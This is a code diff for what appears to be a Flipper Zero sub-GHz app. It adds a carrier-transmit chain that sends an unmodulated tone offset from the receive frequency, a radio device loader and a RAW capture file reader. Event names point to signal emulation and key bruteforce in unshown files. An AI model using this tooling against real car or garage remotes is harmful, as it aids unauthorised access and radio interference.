0x12,
0xC0,
0xCD,
0x86,
0x50,
0x26,
0x1D,
0x17,
0x03,
};
static size_t
gdr_tx_chain_get_pa_table_offset(const uint8_t* preset_data, size_t preset_size) {
size_t offset = 0;
while((offset + 1U) < preset_size) {
if(preset_data[offset] == 0U) {
return (offset + 2U) < preset_size ? offset + 2U : 0U;
}
offset += 2U;
}
return 0U;
}
static void gdr_tx_chain_apply_tx_power(
uint8_t* preset_data,
size_t preset_size,
uint8_t tx_power) {
if(!tx_power || tx_power >= GDR_TX_POWER_COUNT) {
return;
}
const size_t pa_offset = gdr_tx_chain_get_pa_table_offset(preset_data, preset_size);
if(!pa_offset) {
return;
}
const uint8_t fm_byte = preset_data[pa_offset];
const uint8_t am_byte = preset_data[pa_offset + 1U];
if(fm_byte && am_byte) {
return;
}
if(fm_byte) {
preset_data[pa_offset] = gdr_tx_power_value[tx_power];
} else if(am_byte) {
preset_data[pa_offset + 1U] =
gdr_tx_power_value[GDR_TX_PRESET_VALUES_AM + tx_power];
}
}
static uint8_t*
gdr_tx_chain_copy_preset(const uint8_t* src, size_t src_size, size_t* out_size) {
if(!src || !src_size || !out_size) {
return NULL;
}
uint8_t* copy = malloc(src_size);
if(!copy) {
return NULL;
}
memcpy(copy, src, src_size);
*out_size = src_size;
return copy;
}
GDRTxChain* gdr_tx_chain_alloc(void) {
GDRTxChain* chain = malloc(sizeof(GDRTxChain));
furi_check(chain);
memset(chain, 0, sizeof(GDRTxChain));
chain->preset_name = furi_string_alloc();
furi_check(chain->preset_name);
chain->state = GDRTxRxStateIDLE;
return chain;
}
void gdr_tx_chain_free(GDRTxChain* chain) {
if(!chain) {
return;
}
gdr_tx_chain_stop(chain);
if(chain->device) {
subghz_devices_idle(chain->device);
radio_device_loader_end(chain->device);
chain->device = NULL;
}
if(chain->preset_data) {
free(chain->preset_data);
chain->preset_data = NULL;
chain->preset_data_size = 0;
}
if(chain->preset_name) {
furi_string_free(chain->preset_name);
chain->preset_name = NULL;
}
free(chain);
}
bool gdr_tx_chain_acquire_device(GDRTxChain* chain) {
furi_check(chain);
chain->device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
if(!chain->device) {
FURI_LOG_E(TAG, "Failed to acquire internal radio");
return false;
}
if(radio_device_loader_is_external(chain->device)) {
FURI_LOG_E(TAG, "Internal radio requested but external was acquired");
radio_device_loader_end(chain->device);
chain->device = NULL;
return false;
}
subghz_devices_reset(chain->device);
subghz_devices_idle(chain->device);
chain->data_gpio = subghz_devices_get_data_gpio(chain->device);
if(!chain->data_gpio) {
FURI_LOG_E(TAG, "Internal radio has no data GPIO");
radio_device_loader_end(chain->device);
chain->device = NULL;
return false;
}
FURI_LOG_I(TAG, "Acquired internal radio for carrier TX");
return true;
}
bool gdr_tx_chain_configure(
GDRTxChain* chain,
SubGhzSetting* setting,
uint32_t rx_frequency,
int32_t offset_hz,
uint8_t tx_power) {
furi_check(chain);
furi_check(setting);
const uint8_t* source_preset =
subghz_setting_get_preset_data_by_name(setting, GDR_TX_CARRIER_PRESET);
if(!source_preset) {
FURI_LOG_E(TAG, "Carrier preset %s is unavailable", GDR_TX_CARRIER_PRESET);
return false;
}
size_t preset_count = subghz_setting_get_preset_count(setting);
size_t source_size = 0;
for(size_t i = 0; i < preset_count; i++) {
if(strcmp(subghz_setting_get_preset_name(setting, i), GDR_TX_CARRIER_PRESET) ==
0) {
source_size = subghz_setting_get_preset_data_size(setting, i);
break;
}
}
if(!source_size) {
FURI_LOG_E(TAG, "Carrier preset %s has zero size", GDR_TX_CARRIER_PRESET);
return false;
}
if(chain->preset_data) {
free(chain->preset_data);
chain->preset_data = NULL;
chain->preset_data_size = 0;
}
chain->preset_data =
gdr_tx_chain_copy_preset(source_preset, source_size, &chain->preset_data_size);
if(!chain->preset_data) {
FURI_LOG_E(TAG, "Failed to copy preset data");
return false;
}
gdr_tx_chain_apply_tx_power(chain->preset_data, chain->preset_data_size, tx_power);
furi_string_set(chain->preset_name, GDR_TX_CARRIER_PRESET);
const int64_t tx_frequency_signed = (int64_t)rx_frequency + offset_hz;
if(tx_frequency_signed <= 0 || tx_frequency_signed > UINT32_MAX) {
FURI_LOG_E(
TAG,
"TX offset out of range (rx=%lu offset=%ld)",
rx_frequency,
(long)offset_hz);
return false;
}
const uint32_t tx_frequency = (uint32_t)tx_frequency_signed;
if(!subghz_devices_is_frequency_valid(chain->device, tx_frequency)) {
FURI_LOG_E(
TAG,
"Invalid TX frequency %lu (rx=%lu offset=%ld)",
tx_frequency,
rx_frequency,
(long)offset_hz);
return false;
}
chain->frequency = tx_frequency;
return true;
}
bool gdr_tx_chain_start_carrier(GDRTxChain* chain) {
furi_check(chain);
if(!chain->device || !chain->data_gpio || !chain->preset_data) {
FURI_LOG_E(TAG, "start rejected (incomplete stack)");
return false;
}
if(chain->state == GDRTxRxStateTx) {
return true;
}
subghz_devices_reset(chain->device);
subghz_devices_idle(chain->device);
subghz_devices_load_preset(chain->device, FuriHalSubGhzPresetCustom, chain->preset_data);
subghz_devices_set_frequency(chain->device, chain->frequency);
furi_hal_gpio_init(chain->data_gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_write(chain->data_gpio, true);
if(!subghz_devices_set_tx(chain->device)) {
FURI_LOG_E(TAG, "Carrier TX rejected on %lu Hz", chain->frequency);
furi_hal_gpio_write(chain->data_gpio, false);
furi_hal_gpio_init(chain->data_gpio, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
subghz_devices_idle(chain->device);
return false;
}
chain->state = GDRTxRxStateTx;
FURI_LOG_I(TAG, "Carrier TX started on %lu Hz", chain->frequency);
return true;
}
void gdr_tx_chain_stop(GDRTxChain* chain) {
if(!chain) {
return;
}
if(chain->state != GDRTxRxStateTx) {
return;
}
if(chain->device) {
subghz_devices_idle(chain->device);
}
if(chain->data_gpio) {
furi_hal_gpio_write(chain->data_gpio, false);
furi_hal_gpio_init(chain->data_gpio, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
chain->state = GDRTxRxStateIDLE;
}
#endif // ENABLE_SHIELD_RX_SCENE
@@ -0,0 +1,38 @@
// helpers/gdr_tx_chain.h
#pragma once
#include "gdr_types.h"
#ifdef ENABLE_SHIELD_RX_SCENE
#include <lib/subghz/subghz_setting.h>
#include <lib/subghz/devices/devices.h>
#include "radio_device_loader.h"
typedef struct {
const SubGhzDevice* device;
const GpioPin* data_gpio;
uint8_t* preset_data;
size_t preset_data_size;
FuriString* preset_name;
uint32_t frequency;
GDRTxRxState state;
} GDRTxChain;
GDRTxChain* gdr_tx_chain_alloc(void);
void gdr_tx_chain_free(GDRTxChain* chain);
bool gdr_tx_chain_acquire_device(GDRTxChain* chain);
bool gdr_tx_chain_configure(
GDRTxChain* chain,
SubGhzSetting* setting,
uint32_t rx_frequency,
int32_t offset_hz,
uint8_t tx_power);
bool gdr_tx_chain_start_carrier(GDRTxChain* chain);
void gdr_tx_chain_stop(GDRTxChain* chain);
#endif // ENABLE_SHIELD_RX_SCENE
@@ -0,0 +1,95 @@
// helpers/gdr_types.h
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include "../defines.h"
typedef enum {
GDRViewVariableItemList,
GDRViewSubmenu,
GDRViewWidget,
GDRViewReceiver,
GDRViewAbout,
GDRViewFileBrowser,
GDRViewTextInput,
#ifdef ENABLE_DUAL_RX_SCENE
GDRViewDualReceiver,
#endif
} GDRView;
typedef enum {
// Custom events for views
GDRCustomEventViewReceiverOK,
GDRCustomEventViewReceiverConfig,
GDRCustomEventViewReceiverBack,
GDRCustomEventViewReceiverDeleteItem,
GDRCustomEventViewReceiverUnlock,
// Custom events for scenes
GDRCustomEventSceneReceiverUpdate,
GDRCustomEventReceiverDeferredRxStart,
GDRCustomEventSceneSettingLock,
// File management
GDRCustomEventReceiverInfoSave,
GDRCustomEventReceiverInfoSaveConfirm,
GDRCustomEventReceiverInfoEmulate,
GDRCustomEventReceiverInfoBruteforceStart,
GDRCustomEventReceiverInfoBruteforceCancel,
GDRCustomEventSavedInfoDelete,
// Emulator
GDRCustomEventSavedInfoEmulate,
GDRCustomEventEmulateTransmit,
GDRCustomEventEmulateStop,
GDRCustomEventEmulateExit,
// Sub decode
GDRCustomEventSubDecodeUpdate,
GDRCustomEventSubDecodeSave,
GDRCustomEventSubDecodeBruteforceStart,
GDRCustomEventPsaBruteforceComplete,
// File Browser
GDRCustomEventSavedFileSelected,
// Need saving confirmation
GDRCustomEventSceneStay,
GDRCustomEventSceneExit,
// About scene
GDRCustomEventAboutToggleEmulate,
#ifdef ENABLE_DUAL_RX_SCENE
// Dual RX scene
GDRCustomEventDualReceiverDeferredRxStart,
GDRCustomEventDualReceiverUpdate,
GDRCustomEventViewDualReceiverOK,
GDRCustomEventViewDualReceiverBack,
GDRCustomEventViewDualReceiverDeleteItem,
GDRCustomEventViewDualReceiverConfig,
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
GDRCustomEventShieldReceiverDeferredStart,
GDRCustomEventShieldReceiverUpdate,
#endif
} GDRCustomEvent;
typedef enum {
GDRLockOff,
GDRLockOn,
} GDRLock;
typedef enum {
GDRTxRxStateIDLE,
GDRTxRxStateRx,
GDRTxRxStateTx,
GDRTxRxStateSleep,
} GDRTxRxState;
typedef enum {
GDRHopperStateOFF,
GDRHopperStateRunning,
GDRHopperStatePause,
GDRHopperStateRSSITimeOut,
} GDRHopperState;
typedef enum {
GDRRxKeyStateIDLE,
GDRRxKeyStateBack,
GDRRxKeyStateStart,
GDRRxKeyStateAddKey,
} GDRRxKeyState;
@@ -0,0 +1,142 @@
// helpers/radio_device_loader.c
#include "radio_device_loader.h"
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
#include <furi.h>
#include <furi_hal.h>
#include "../defines.h"
#define TAG "RadioDeviceLoader"
static bool radio_device_loader_otg_enabled_by_loader = false;
static void radio_device_loader_power_on() {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
// CC1101 power-up time
furi_delay_ms(10);
}
if(furi_hal_power_is_otg_enabled()) {
radio_device_loader_otg_enabled_by_loader = true;
}
FURI_LOG_D(TAG, "OTG power enabled after %d attempts", attempts);
}
static void radio_device_loader_power_off() {
if(radio_device_loader_otg_enabled_by_loader && furi_hal_power_is_otg_enabled()) {
furi_hal_power_disable_otg();
radio_device_loader_otg_enabled_by_loader = false;
FURI_LOG_D(TAG, "OTG power disabled");
}
}
bool radio_device_loader_is_connect_external(const char* name) {
bool is_connect = false;
bool is_otg_enabled = furi_hal_power_is_otg_enabled();
if(!is_otg_enabled) {
radio_device_loader_power_on();
}
const SubGhzDevice* device = subghz_devices_get_by_name(name);
if(device) {
is_connect = subghz_devices_is_connect(device);
FURI_LOG_D(TAG, "External device '%s' connect check: %s", name, is_connect ? "YES" : "NO");
} else {
FURI_LOG_W(TAG, "Could not get device by name: %s", name);
}
if(!is_otg_enabled) {
radio_device_loader_power_off();
}
return is_connect;
}
const SubGhzDevice* radio_device_loader_set(
const SubGhzDevice* current_radio_device,
SubGhzRadioDeviceType radio_device_type) {
const SubGhzDevice* target_radio_device = NULL;
// Decide the target device first (external if requested+present, else internal)
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
radio_device_loader_power_on();
target_radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
if(!target_radio_device) {
FURI_LOG_E(TAG, "Failed to get external CC1101 device, falling back to internal");
}
}
if(!target_radio_device) {
target_radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
if(!target_radio_device) {
FURI_LOG_E(TAG, "Failed to get internal CC1101 device");
return NULL;
}
}
// If were already on the target device, dont reload
if(current_radio_device == target_radio_device) {
if(target_radio_device == subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
FURI_LOG_I(TAG, "External CC1101 already selected");
} else {
FURI_LOG_I(TAG, "Internal CC1101 already selected");
}
return target_radio_device;
}
// Cleanly stop the current device before switching
if(current_radio_device) {
radio_device_loader_end(current_radio_device);
}
// Start the target device
subghz_devices_begin(target_radio_device);
// Log what we ended up with
if(target_radio_device == subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
FURI_LOG_I(TAG, "Switched to external CC1101");
} else {
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101) {
FURI_LOG_I(TAG, "External requested but unavailable; switched to internal CC1101");
} else {
FURI_LOG_I(TAG, "Switched to internal CC1101");
}
}
return target_radio_device;
}
bool radio_device_loader_is_external(const SubGhzDevice* radio_device) {
if(!radio_device) {
FURI_LOG_W(TAG, "is_external called with NULL device");
return false;
}
const SubGhzDevice* internal_device =
subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
bool is_external = (radio_device != internal_device);
FURI_LOG_D(
TAG,
"is_external check: device=%p, internal=%p, result=%s",
radio_device,
internal_device,
is_external ? "EXTERNAL" : "INTERNAL");
return is_external;
}
void radio_device_loader_end(const SubGhzDevice* radio_device) {
furi_check(radio_device);
if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
subghz_devices_end(radio_device);
FURI_LOG_I(TAG, "External radio device ended");
} else {
FURI_LOG_D(TAG, "Internal radio device - no cleanup needed");
}
radio_device_loader_power_off();
}
@@ -0,0 +1,21 @@
// helpers/radio_device_loader.h
#pragma once
#include <lib/subghz/devices/devices.h>
#define SUBGHZ_DEVICE_CC1101_INT_NAME "cc1101_int"
#define SUBGHZ_DEVICE_CC1101_EXT_NAME "cc1101_ext"
/** SubGhzRadioDeviceType */
typedef enum {
SubGhzRadioDeviceTypeInternal,
SubGhzRadioDeviceTypeExternalCC1101,
} SubGhzRadioDeviceType;
const SubGhzDevice* radio_device_loader_set(
const SubGhzDevice* current_radio_device,
SubGhzRadioDeviceType radio_device_type);
bool radio_device_loader_is_connect_external(const char* name);
bool radio_device_loader_is_external(const SubGhzDevice* radio_device);
void radio_device_loader_end(const SubGhzDevice* radio_device);
@@ -0,0 +1,376 @@
#include "raw_file_reader.h"
#ifdef ENABLE_SUB_DECODE_SCENE
#include <stdint.h>
#include <toolbox/stream/stream.h>
#include <lib/flipper_format/flipper_format.h>
#include "../protocols/protocols_common.h"
#define TAG "RawFileReader"
static const char local_flipper_format_delimiter = ':';
static const char local_flipper_format_comment = '#';
static const char local_flipper_format_eoln = '\n';
static const char local_flipper_format_eolr = '\r';
struct FlipperFormat {
Stream* stream;
bool strict_mode;
};
RawFileReader* raw_file_reader_alloc(void) {
RawFileReader* reader = malloc(sizeof(RawFileReader));
furi_check(reader);
memset(reader, 0, sizeof(RawFileReader));
return reader;
}
void raw_file_reader_free(RawFileReader* reader) {
if(!reader) return;
raw_file_reader_close(reader);
free(reader);
}
static inline bool local_flipper_format_stream_is_space(char c) {
return c == ' ' || c == '\t' || c == local_flipper_format_eolr;
}
static bool local_flipper_format_stream_read_value(Stream* stream, FuriString* value, bool* last) {
enum {
LeadingSpace,
ReadValue,
TrailingSpace
} state = LeadingSpace;
const size_t buffer_size = 32;
uint8_t buffer[buffer_size];
bool result = false;
bool error = false;
furi_string_reset(value);
while(true) {
size_t was_read = stream_read(stream, buffer, buffer_size);
if(was_read == 0) {
if(state != LeadingSpace && stream_eof(stream)) {
result = true;
*last = true;
} else {
error = true;
}
}
for(size_t i = 0; i < was_read; i++) {
const uint8_t data = buffer[i];
if(state == LeadingSpace) {
if(local_flipper_format_stream_is_space(data)) {
continue;
} else if(data == local_flipper_format_eoln) {
stream_seek(stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent);
error = true;
break;
} else {
state = ReadValue;
furi_string_push_back(value, data);
}
} else if(state == ReadValue) {
if(local_flipper_format_stream_is_space(data)) {
state = TrailingSpace;
} else if(data == local_flipper_format_eoln) {
if(!stream_seek(
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
error = true;
} else {
result = true;
*last = true;
}
break;
} else {
furi_string_push_back(value, data);
}
} else if(state == TrailingSpace) {
if(local_flipper_format_stream_is_space(data)) {
continue;
} else if(!stream_seek(
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
error = true;
} else {
*last = (data == local_flipper_format_eoln);
result = true;
}
break;
}
}
if(error || result) break;
}
return result;
}
static bool local_flipper_format_stream_read_valid_key(Stream* stream, FuriString* key) {
furi_string_reset(key);
const size_t buffer_size = 32;
uint8_t buffer[buffer_size];
bool found = false;
bool error = false;
bool accumulate = true;
bool new_line = true;
while(true) {
size_t was_read = stream_read(stream, buffer, buffer_size);
if(was_read == 0) break;
for(size_t i = 0; i < was_read; i++) {
uint8_t data = buffer[i];
if(data == local_flipper_format_eoln) {
// EOL found, clean data, start accumulating data and set the new_line flag
furi_string_reset(key);
accumulate = true;
new_line = true;
} else if(data == local_flipper_format_eolr) {
// ignore
} else if(data == local_flipper_format_comment && new_line) {
// if there is a comment character and we are at the beginning of a new line
// do not accumulate comment data and reset the new_line flag
accumulate = false;
new_line = false;
} else if(data == local_flipper_format_delimiter) {
if(new_line) {
// we are on a "new line" and found the delimiter
// this can only be if we have previously found some kind of key, so
// clear the data, set the flag that we no longer want to accumulate data
// and reset the new_line flag
furi_string_reset(key);
accumulate = false;
new_line = false;
} else {
// parse the delimiter only if we are accumulating data
if(accumulate) {
// we found the delimiter, move the rw pointer to the delimiter location
// and signal that we have found something
if(!stream_seek(
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
error = true;
break;
}
found = true;
break;
}
}
} else {
// just new symbol, reset the new_line flag
new_line = false;
if(accumulate) {
// and accumulate data if we want
furi_string_push_back(key, data);
}
}
}
if(found || error) break;
}
return found;
}
static bool
local_flipper_format_stream_seek_to_key(Stream* stream, const char* key, bool strict_mode) {
bool found = false;
FuriString* read_key;
read_key = furi_string_alloc();
while(!stream_eof(stream)) {
if(local_flipper_format_stream_read_valid_key(stream, read_key)) {
if(furi_string_cmp_str(read_key, key) == 0) {
if(!stream_seek(stream, 2, StreamOffsetFromCurrent)) break;
found = true;
break;
} else if(strict_mode) {
found = false;
break;
}
}
}
furi_string_free(read_key);
return found;
}
static bool local_flipper_format_stream_get_value_count(
Stream* stream,
const char* key,
uint32_t* count,
bool strict_mode) {
bool result = false;
bool last = false;
FuriString* value;
value = furi_string_alloc();
do {
if(!local_flipper_format_stream_seek_to_key(stream, key, strict_mode)) break;
*count = 0;
result = true;
while(true) {
if(!local_flipper_format_stream_read_value(stream, value, &last)) {
result = false;
break;
}
*count = *count + 1;
if(last) break;
}
} while(false);
furi_string_free(value);
return result;
}
bool raw_file_reader_open(RawFileReader* reader, const char* file_path) {
if(!reader || !file_path) return false;
raw_file_reader_close(reader);
reader->storage = furi_record_open(RECORD_STORAGE);
reader->storage_opened = true;
reader->ff = flipper_format_file_alloc(reader->storage);
if(!flipper_format_file_open_existing(reader->ff, file_path)) {
FURI_LOG_E(TAG, "Failed to open file: %s", file_path);
raw_file_reader_close(reader);
return false;
}
FuriString* temp_str = furi_string_alloc();
uint32_t version = 0;
bool valid = false;
do {
if(!flipper_format_read_header(reader->ff, temp_str, &version)) {
FURI_LOG_E(TAG, "Failed to read header");
break;
}
if(furi_string_cmp_str(temp_str, "Flipper SubGhz RAW File") != 0) {
FURI_LOG_E(TAG, "Not a RAW file");
break;
}
if(!flipper_format_read_string(reader->ff, FF_PROTOCOL, temp_str)) {
FURI_LOG_E(TAG, "Missing Protocol field");
break;
}
if(furi_string_cmp_str(temp_str, "RAW") != 0) {
FURI_LOG_E(TAG, "Protocol is not RAW");
break;
}
valid = true;
} while(false);
furi_string_free(temp_str);
if(!valid) {
raw_file_reader_close(reader);
return false;
}
reader->buffer_count = 0;
reader->buffer_index = 0;
reader->file_finished = false;
reader->current_level = true;
FURI_LOG_I(TAG, "Opened RAW file: %s", file_path);
reader->count = 0;
uint32_t temp_count = 0;
while(local_flipper_format_stream_get_value_count(
reader->ff->stream, "RAW_Data", &temp_count, reader->ff->strict_mode)) {
//reader->file_finished = true;
reader->count += temp_count;
}
flipper_format_rewind(reader->ff);
return true;
}
void raw_file_reader_close(RawFileReader* reader) {
if(!reader) return;
if(reader->ff) {
flipper_format_free(reader->ff);
reader->ff = NULL;
}
if(reader->storage_opened) {
furi_record_close(RECORD_STORAGE);
reader->storage_opened = false;
}
reader->storage = NULL;
reader->buffer_count = 0;
reader->buffer_index = 0;
reader->count = 0;
reader->file_finished = false;
}
static bool raw_file_reader_load_chunk(RawFileReader* reader) {
if(reader->file_finished) return false;
size_t to_read = (reader->count < RAW_READER_BUFFER_SIZE) ? reader->count :
RAW_READER_BUFFER_SIZE;
if(!flipper_format_read_int32(reader->ff, "RAW_Data", reader->buffer, to_read)) {
reader->file_finished = true;
return false;
}
reader->buffer_count = to_read;
reader->buffer_index = 0;
reader->count -= to_read;
return true;
}
bool raw_file_reader_get_next(RawFileReader* reader, bool* level, uint32_t* duration) {
if(!reader || !level || !duration) return false;
if(memmgr_get_free_heap() < 1024) {
FURI_LOG_E(TAG, "Not enough memory to continue reading");
return false;
}
if(reader->buffer_index >= reader->buffer_count) {
if(!raw_file_reader_load_chunk(reader)) {
return false;
}
}
int32_t value = reader->buffer[reader->buffer_index++];
if(value >= 0) {
*level = true;
*duration = (uint32_t)value;
} else {
*level = false;
*duration = (uint32_t)(-value);
}
return true;
}
bool raw_file_reader_is_finished(RawFileReader* reader) {
if(!reader) return true;
return reader->file_finished && (reader->buffer_index >= reader->buffer_count);
}
#endif // ENABLE_SUB_DECODE_SCENE
@@ -0,0 +1,29 @@
#pragma once
#include "../gdr_app_i.h"
#ifdef ENABLE_SUB_DECODE_SCENE
#include <furi.h>
#include <storage/storage.h>
#include <flipper_format/flipper_format.h>
#define RAW_READER_BUFFER_SIZE 512
typedef struct {
Storage* storage;
FlipperFormat* ff;
int32_t buffer[RAW_READER_BUFFER_SIZE];
size_t buffer_count;
size_t buffer_index;
uint32_t count;
bool file_finished;
bool current_level;
bool storage_opened;
} RawFileReader;
RawFileReader* raw_file_reader_alloc(void);
void raw_file_reader_free(RawFileReader* reader);
bool raw_file_reader_open(RawFileReader* reader, const char* file_path);
void raw_file_reader_close(RawFileReader* reader);
bool raw_file_reader_get_next(RawFileReader* reader, bool* level, uint32_t* duration);
bool raw_file_reader_is_finished(RawFileReader* reader);
#endif // ENABLE_SUB_DECODE_SCENE
Binary file not shown.

After

Width:  |  Height:  |  Size: 448 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 385 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 994 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

Some files were not shown because too many files have changed in this diff Show More